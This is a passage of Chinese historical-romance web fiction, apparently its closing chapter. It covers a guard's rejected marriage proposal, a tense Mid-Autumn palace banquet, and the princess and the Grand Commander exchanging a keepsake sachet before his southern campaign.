但其余三人已经上马,他只好也跟着上了马。 里面有个校尉,比他们?高好几级,他是读书人,与?他们?这些草莽不同。平时他都和他们?保持着距离,此时从南门?出去?,却有意无意靠近他。 两人的马落在了后面。 校尉和他道:“别高兴得太?早,县君看上你不一定是什么好事,得看太?尉的意思。而且……你得记住,你是公主提拔上来的人。” 马毅并不太?懂,看向他。 校尉继续道:“就好比,你既能做弓兵,又能做骑兵,你决定既做弓兵,又做骑兵,那?会如?何?” 马毅道:“一样也不成。” “正是。”校尉说。 “可?是……公主和太?尉,他们?不是夫妻吗?”马毅说。 校尉笑笑,策马离去?了。 马毅的马跟在最后,一边往前行,一边想这其中的道理。 后来他明?白了,譬如?薛将军、欧阳中郎将,他们?是公主的人,而卢将军、柴将军,包括朝中大多数武将与?士兵,他们?是太?尉的人。 自己?现在就是公主的人,如?果他做了太?尉的侄女婿,那?就成了太?尉的人。 也不一定,那?样他是公主的人但做了太?尉的侄女婿,他谁的人也不是。 所以……他升不了职了。 但还有一点不确定,也许太?尉根本就不同意他娶县君。 这时他突然意识到,他好像不能去?蓝田,公主说要给他指婚,他的确拒绝了,但县君都知道了,别人也有可?能知道,不知会怎么传;以及,县君也在说亲,也许太?尉就突然给她订了亲,而自己?远在蓝田,无令不可?擅离军营,他什么也不知道。 他应该……解决这些事才是。 他越来越落后了,前面的人回头喊他:“快点——” 他回道:“你们?先走,我下午再回——”说完就掉转马头往城里去?了。 马毅觉得自己?作为?男子,怎么能就此离开,他应该去?向县君家?人提亲才是,要不然县君追过来问他那?个问题,是为?什么?是让他欢欢喜喜当什么事都没有,然后等着县君安排好一切了来提亲? 他毅然折返,反正只用明天天明之前赶到蓝田就行了。 匆匆赶到公主府,八月的天已热出一身汗。 但他此时没有公主的命令,又不再是侍卫,没法进去?,只能托人通传,通传谁呢,王小桃。 王小桃得知马毅求见,有些意外,又有些局促。 到现在她都不知道自己怎么那么虎,直接追过去?问他,还当着别人的面啊,然后又做贼似的逃回来,像在儿戏一样。 现在得知他求见,她自然是先请他进来。 屋内公主派来照顾她、教她礼节的嬷嬷正在问她刚才私自出门?去?做什么,又告诉她,出门?这种?事最好还是经过长辈允许,由嬷嬷和丫鬟带着。 王小桃就低头不吭声,料想嬷嬷回头一定会去?禀报公主,公主呢……是会见她,还是告诉表叔? 这么想着,丫鬟来报,说马毅在院外。 嬷嬷就疑惑地看着她。 她假装没看见嬷嬷那?隐忍的眼神,径自出去?了。 马毅曾是公主府侍卫,此趟也是受命回京,出现在园中并不稀奇。 王小桃出去?,两人就寻了一棵树后站定,小桃还没问出口,马毅就率先道:“县君刚才说的话当真吗?” 小桃半低了头:“那?肯定是……当真的。”她紧张地绞起衣服来。 “那?我是否要去?找太?尉提亲?”马毅问。 王小桃蓦然抬头。 她觉得有些吃惊,但再一想,要不然呢? 就他们?这个年纪,这个情?况,指不定又会有什么婚事临到头上。 “可?是我不知道我表叔……” 就在这时,一名丫鬟上前道:“县君,太?尉叫您过去?一趟。” 王小桃抬眼,只见高盛正负手站在不远处,目光狐疑又锐利地看向这边。 她心中大惊,没想到就这么一会儿,竟让表叔看见了。 马毅也看到了高盛,又看向王小桃,两人都从对方?身上感受到了紧张和惧怕。 王小桃一想,自己?好歹和表叔熟悉,不能和马毅一样,就放轻松道:“你先等等。”说着就去?了。 高盛并不觉得未出阁的姑娘不能和男人说话,西?北民?风慓悍,远不似中原大户人家?这么讲究,他只是看小桃的神情?不对,不像是和一个普通人说话,倒像是有那?么点意思。 可?那?人他不认识,所以叫小桃过来问问。 小桃却是支支吾吾,说不出来,就说他以前是公主身边的侍卫,现在被派去?蓝田军区做军侯了。 高盛又问:“那?你们?在说什么?” “就……就是……”王小桃不好说,高盛又看向马毅那?里,和身旁人道:“让他也过来。” 马毅早就觉得自己?应该过去?了,此时看见太?尉的口型,也觉得是在吩咐自己?过去?,便马上过来,行礼道:“小人马毅,见过太?尉。” 高盛问:“你与?县君在说什么?” 马毅沉默一会儿,开口道:“太?尉,可?否去?屋中,容小人详禀。” 王小桃仍是低着头。 高盛看看他,又看看小桃,和她道:“你先回屋吧。”然后转身往前院的书房走去?。 小桃担心地看向马毅,马毅面色平静地跟上。 到房中,高盛往椅子上一坐,开口道:“你说吧,有什么事。” 马毅跪下:“小人有意……求娶县君。” 高盛疑心自己?听错了:“你说什么?” 马毅低着头,又说了一遍:“小人有意求娶县君,求太?尉成全。” 高盛将他从上到下打量一遍,问他:“你现在在蓝田做军侯?” “是。” “你的名字,我好像在哪里听过。” 马毅回答:“大概是县君被劫那?一次,小人……小人正是当时流民?之?一,之?后受长公主特许,进了公主府。” 高盛快被气笑了,原来是这么个玩意儿。 一个流民?,一个意图谋害小桃的流民?,只因立了些功,就当了公主府的侍卫,侍卫就罢了,司妤开口了,他不干涉,可?现在他竟然还要求娶小桃? 高盛想马上宰了他。 恐怕他当初救小桃,是想以小搏大吧。 “滚回蓝田,不要再出现在我面前。”他几乎是咬牙切齿,不杀他完全是因为?小桃和司妤。 马毅不知所措,不知自己?是继续求一会儿太?尉,还是马上走。 这样就离去?,似乎什么都没做,但坚持跪在这儿,只是死缠烂打。 他只好道:“小人知道自己?卑贱,配不上县君,小人愿立军功,求功名后再向太?尉提亲。” 高盛一声冷笑,面露杀意:“我让你滚——” 马毅再不敢说话,缓缓起身,退了下去?。 站在公主府外,他犹疑很久,最后想,自己?赖在这里也没用,说不定愈发惹怒太?尉,如?果延误了回营时间,又要受军令处置,到时自己?就更加一无所有了。 尽管……他很想再见见县君,和县君说些什么,又想再求求太?尉,但这些他都不能做。 他只好牵了马,又往城门?走。 高盛要气疯,又找小桃来问话,她竟然说是她自己?愿意的。 高盛觉得这和自己?女儿想嫁给小瘪三也没两样。 可?他自己?又没空操心小桃的婚事,一年里有大半年都征战在外,自认对她关心少,没资格对她发脾气。 他只好耐住性子,叹一声气,语重心长道:“你是因为?在宋之?洵那?里受了挫,所以才找个对你恭敬、什么都不是的流痞嫁吗?这就等同于?吃了个败仗,就直接把城池也送人了!” 小桃连忙否认:“不是,没有,和宋之?洵无关!而且他不是流痞,他是正经人,只是潼关战乱才逃到京城,如?果他不可?靠,公主怎么会让他做侍卫,怎么会派他去?看住蓝田?” 高盛并不知道司妤要把身边宫女嫁给马毅的事,若是知道了,只怕更生气。但此时他也没好受到哪里,他劝道:“可?你是县君,不管他是侍卫,还是什么蓝田的军侯,都不足以配你,而且他要什么也没有,只有一把年纪!” 小桃低着头,“表叔也是从什么都没有到现在的……” “我什么都没有的时候,从没想过去?找个大家?小姐勾搭。”高盛厉声道。 小桃又说:“他没找过我,是我找的他。”她说着又不好意思:“是我觉得……我想找个我熟悉的,又喜欢的,就主动找了他。” “他是侍卫,你自然和他熟悉,要让别人知道你最后选了个流民?出身的侍卫,只会觉得你自甘下贱。”高盛说。 小桃道:“可?表叔明?明?就是不管旁人眼光的人?我也不想管。再说他如?果出生好,像他这样的,是不是直接能做官呢?那?些媒人介绍的,也都是些出生好,自己?不怎么样的,我不喜欢。” 高盛看着她,一副痛心疾首的模样,小桃继续道:“公主也可?以选择很多出生好的人,但她就选择了表叔。” 高盛一阵轻哼,有一丝理所当然,又有一种?“你竟把我和他比”的不屑。 这番争论,谁也说服不了谁,高盛不愿意把小桃逼太?紧,显得自己?不通情?理,便暂时作罢了,说此事日后再说。 小桃还想分辩几句,高盛直接道:“不管怎么说,眼下我是绝不会同意的,我只望你冷静冷静,再仔细想想。” 直到回房,高盛还是怒气冲冲。 今日中秋,宫中有祭祀,司妤要进宫,此时刚换了衣服,正在镜前梳妆。 她问高盛:“晚上家?宴当真不去?吗?” “不去?。”高盛回得闷闷的。 他一早也说了不去?,司妤并不意外,宫中宴会规矩多,高盛不喜欢规矩,也不喜欢皇室那?些人,她还怕他去?呢,他爱乱来,到时候又不顾皇室尊严肆意僭越,大家?都尴尬。 司妤从镜中看他,见他神色不豫。 “怎么了?” 高盛看她一眼,没说话,司妤便也没继续问,直到妆梳好了,就让宫女下去?,又问他:“怎么了?” 高盛:“那?个马毅,你知道?” “嗯。”说起来司妤还很奇怪,她很少去?专门?给人指婚,没想到第一次提,就被拒绝了。 马毅一早就来向她回禀和辞行,说他只想专心在军中为?国效劳,暂且不成家?。 她唯一能想到的是马毅大概有别的想法,心中微有不悦,但也由他去?了,没去?质疑他这说法,现在高盛竟问起他。 高盛道:“那?是个什么东西?,他今天竟然跑来向我提亲,说要娶小桃,小桃竟然还同意,京中那?么多少年男子,个个都比那?人强,她到底怎么想的!” 司妤现在才知,马毅拒绝如?绵,竟是和小桃…… 的确小桃的身份强了如?绵太?多。 若按规矩,一个侍卫敢和府里的小姐谈情?说爱,那?侍卫必死无疑,后院容不下这样的人。 但司妤又想起,好几次似乎是她将小桃托付给马毅的,且小桃自愿,那?是不是也算两情?相悦呢? 高盛在一旁道:“我刚才都差点控制不住我的刀,也不知他私下怎么诱|骗的小桃。” 司妤提醒他:“你是小桃的长辈,又是太?尉,你我都掌着许多人的死生大权,可?权力越大,干系也就越大,也越须谨慎。我们?一句话,就是别人一辈子,这事还是不要急躁,慢慢弄清楚情?况再说。更何况,现在小桃要嫁他,你却要杀他,你让她如?何不恨你?” 高盛叹了一口气:“我知道,所以我就说说,又没动手。” “公主,时辰快到了。”外面传来宫女的声音,提醒她要进宫去?,她安尉道:“好了,你先冷静冷静,回头我抽空去?问问小桃怎么回事,单看马毅这个人确实是靠得住的。”一边说着,她一边起身,又交待高盛:“你没事多去?看看小嘉,过不了几天又要走了。” 高盛胡乱应了两声。 司妤离屋,去?往宫中。 中秋祭祀祖先,祭祀完,司妤与?众皇亲在御花园赏花,等到入夜,便是晚宴。 这也是司妤下令杀皇后后,第一次见太?后。 如?今皇上与?太?后身边都是她的人,他们?有什么动静,司妤时时都能得到详细报告。 皇上倒没什么,他现在似乎比以前开心,恋上了忘郁还有音律,对于?朝政一概不过问,书也是再也不念了,好似困鸟出笼。 太?后却形容萧索,脾气倒比以前差了,以前待人温和,现在总对身边婢女发脾气。 司妤知道她心里是恨自己?的,而她既已作出选择,也就没必要做了婊子又要立贞洁牌坊,她假装没看见太?后的不悦。 席间,皇上突然道:“我与?你们?弹一曲《阳春》怎么样?” 这是首众人皆知的名曲,《阳春》与?《白雪》也因高雅复杂而被称为?“曲高和寡”,皇上大概学会了,忍不住想显摆。 司妤笑笑:“好啊,我还没好好听过皇上弹琴。” 皇上正吩咐“去?拿朕的琴来”,一旁临汾王开口道:“皇上为?一国之?君,偶尔弹一弹琴,怡情?养性也就罢了,万不可?沉迷其间。” 皇上面上露出几分尴尬,临汾王妃轻轻拉一拉临汾王的袖子,数落道:“多喝几杯,又开始对人指指点点,谁不知道皇上的琴弹得好,我们?都想听呢,你却要来扫兴。” 司妤笑而不语,临汾王也不说话了。 皇上果真弹了一曲。他身形瘦削,又有一双白皙纤长的手,手在琴弦间拨动翻飞,伴着《阳春》清朗悠扬的乐曲,司妤竟看出几分惊叹仰慕来——如?果这是她偶然见到的少年琴师,一定会忍不住重赏。 她突然觉得,弟弟哪有不堪,哪有什么错呢?他生来就温和,没什么争名夺利的心,却生在皇家?,被逼着读书,逼着学为?君之?道,又因学不好而被指责……对他来说,也是很痛苦的吧。 皇上弹完了,司妤赞赏,昌乐也开心道:“皇上弹得可?真好,我看了都想学,皇上能教教我吗?” 皇上一边起身一边得意地笑:“就你那?脑子,不一定学得会。” 以前昌乐监督他读书,说他说得多,现在他也有了回击的时候。 昌乐不愿意道:“皇上说谁脑子不好呢,我就要学,说不定学得比你还好!” 一直沉默的太?后道:“学什么学,有这时间不学学女红,不学学持家?之?道,一把年纪了还留在宫中,像什么样子!” 昌乐因这突如?其来的责难红了脸,低下头去?,整个人都僵在坐席上。 不只是大庭广众之?下被责难,而是太?后提起了她一把年纪还留在宫中。 说起她的婚事,就很难不让人想起她曾被屈继先掳走玩弄过,大家?都知道,但都不会提,可?现在,母后却提了。 她攥着手,无地自容。 司妤看出昌乐的难堪来。 甚至她也明?白,太?后这通火其实不是对准的昌乐,而是对准的自己?。 她听下面人禀报过,因当初昌乐向她告密,又隐隐靠向她这边,所以太?后对昌乐多有怨恨,只是那?终归是她的女儿,她不忍多说什么,今天是真忍不住了。 她算是明?白,自己?这个母后平时敦厚,但也有脾气,而且她的脾气会精准无误、发向最弱的那?个人。从前是她和小嘉,现在换成了昌乐。 她回道:“昌乐可?是我大兴的公主,谁家?敢要她做女红?谁家?又敢要她晨昏定省,节衣缩食?她愿嫁人就嫁人,愿意留在宫中就留在宫中,这是她的自由,母后急什么,咱们?司家?又不是养不起。” 太?后欲言又止,最后沉默着没吭声。 司妤又朝昌乐道:“你想学琴是好事,让皇上教你便是,我那?里还有把琴呢,就是那?把‘凤鸣’,什么时候你练好了,我把那?琴送给你。” 昌乐高兴起来,一扫之?前的阴霾:“好啊!” 太?后微垂下眼,仍是无话。 众人也都知道,现在宫中太?后无威严,作主的是长公主,以前长公主事事以太?后为?尊,绝不会当面反驳,现在却不顾这些了。 晚宴到夜渐深,司妤提前离开了。 她成了那?个说一不二、别人说话要看她脸色的人,可?是这样的家?宴就不像家?宴了,突然和高盛一样觉得没什么意思,如?果可?以不来,她都想不来了。 她与?母后彻底决裂了;她从行动到心理,都在慢慢剥除弟弟的皇位;她已在心中为?皇叔临汾王写好了结局:如?果他能乖乖服从自己?的安排,那?他就是皇叔;如?果他不能,那?他也会被除掉…… 所以那?些神色不好看的司家?亲人,是真的不高兴,也许在想着怎么弄死她;那?些神色好看的,只是想继续荣华富贵,并不是真心喜欢她。 从未有一刻,觉得如?此寂寞。 出了皇宫南门?,却见一人伫立在宫门?外,月光中,只看身影她便知道是高盛。 她突然就笑了,步履轻快,几乎跑起来,加快步速去?了他面前。 朝他笑道:“你怎么在这里?” “中秋团圆,等你。”高盛说。 司妤还想着他上午的怒气冲冲,问他:“怎么样,心情?有好一些吗?” 高盛马上就变了脸:“不许提那?事,提来我就有气。” 司妤笑,与?他走在了一起,后面宫人远远跟着。 没了人,她也叹了一声气,低声道:“以后这宫宴不办了吧,我也不想来,还不如?在家?里。” “怎么,谁给你气受了?”高盛问。 司妤摇头:“没有,大概是我给别人气受了。” 他牵起她,“那?你不高兴什么?” “我……”司妤叹了声气:“我不再是以前的我了,我所看重的那?些人,也远离我了。” 她一说他就明?白大概是怎么回事,或者说,她仍然会觉得自己?舍弃了亲人,背叛了司家?。 高盛道:“他们?远离了,但你却托起了你和你儿子,还有天下百姓,这样不好么?” 司妤一笑:“好。” “那?不就行了。”高盛拉着她,看向天边的月亮:“这月亮现在这么圆,天上的星星就看不见了,月亮没了,星星才能亮,就没有一起亮着的道理。” 司妤看看月亮,又看看他:“你虽然不读书,但还挺会讲道理的。” 高盛被夸得越发得意了:“那?证明?我不用读了。” “你呀……”司妤说着想起一事,和他道:“我们?快回去?吧。” “回去?做什么?”高盛觉得这夜色与?这月亮,挺美的,有一种?“良辰美景”的浪漫,还想多待一会儿,没想到她却要回去?。 司妤不解释,拉着他往公主府走:“到了你就知道了。” 回到公主府,入房中,她将那?只香囊拿出来:“你看看。” 她这香囊花了一两个月才做好,断断续续的,可?能一天也就几针,还特地不当着他面做,所以做得慢。 高盛饶有兴趣一看,是花青色的香囊,外面用金线绣着一只威风又贵气的麒麟。 他问:“怎么不是鸳鸯呢?” 司妤将香囊打开给他看,里面就绣着一对鸳鸯。 高盛笑起来,“做得这么细致,都绣里面了,该绣副春|宫才是。” 司妤敲了他一下:“怎么就没正经的时候。” “我是说正经的。”高盛一边欣赏着香囊,一边想了起来,问:“之?前说的那?头发呢?” 这种?东西?他不知道位置,也就司妤知道,去?梳妆桌下的抽屉里拿出一只小盒来,打开,里面就是两股绑在一起的头发。 “在这儿。” 高盛将头发拿了出来,放进香囊,再拉紧香囊的绳子系好。 他往身上看了看,最后将香囊揣进了胸口的衣服内袋。 司妤看着他,靠入他怀中,将他抱住。 朝中已经定好了,近两个月内就会大举兴兵征讨南方?,高盛是主将,他又要走了。虽说平定天下是大势所趋,可?这一次比之?前范围都大,她仍会担心。 “你还没走,我就开始想你了。” 高盛一笑,她可?很少说这种?话,今日亲耳听到,如?此顺耳。 他搂住她道:“那?我们?去?床上?” 司妤皱了眉娇嗔:“说什么呢,在好好说正事。” “我没有不说正事,我是认真的。”他神情?也认真道。 他也想她啊,要不然就不会去?接她了,所以去?床上……不是表达思念最好的方?式吗? 司妤拉他走到窗边:“今天月亮圆,这样的晚上,不该好好说说话?” 高盛心想:床上也能好好说话。 但他与?她一同站到窗边,往外看一眼,发现月亮真挺圆的。 “你说,我们?到最后会离心吗?”她问。 高盛无所谓地一笑:“要离也是你离,反正不是我,你身边那?么多居心叵测的宠臣。” 司妤反驳:“要这么说,你身边也可?以有很多美艳女人。” “那?不同,我不好那?些美色,你就不同,你是真心觉得那?些宠臣好。”高盛说。 “我那?是为?了国事,他们?是可?堪大用的臣子。” 高盛一哼,表示不屑。 司妤也不服了:“那?就等着看好了,反正我没有那?样的心思。” “等着看就等看着,我既然选了你,就不会变。”高盛说。 两人都带着不服输的决心想:那?就用后面余生来证明?好了。 明?月高悬,照得两人的目光清澈而湛亮。 正文完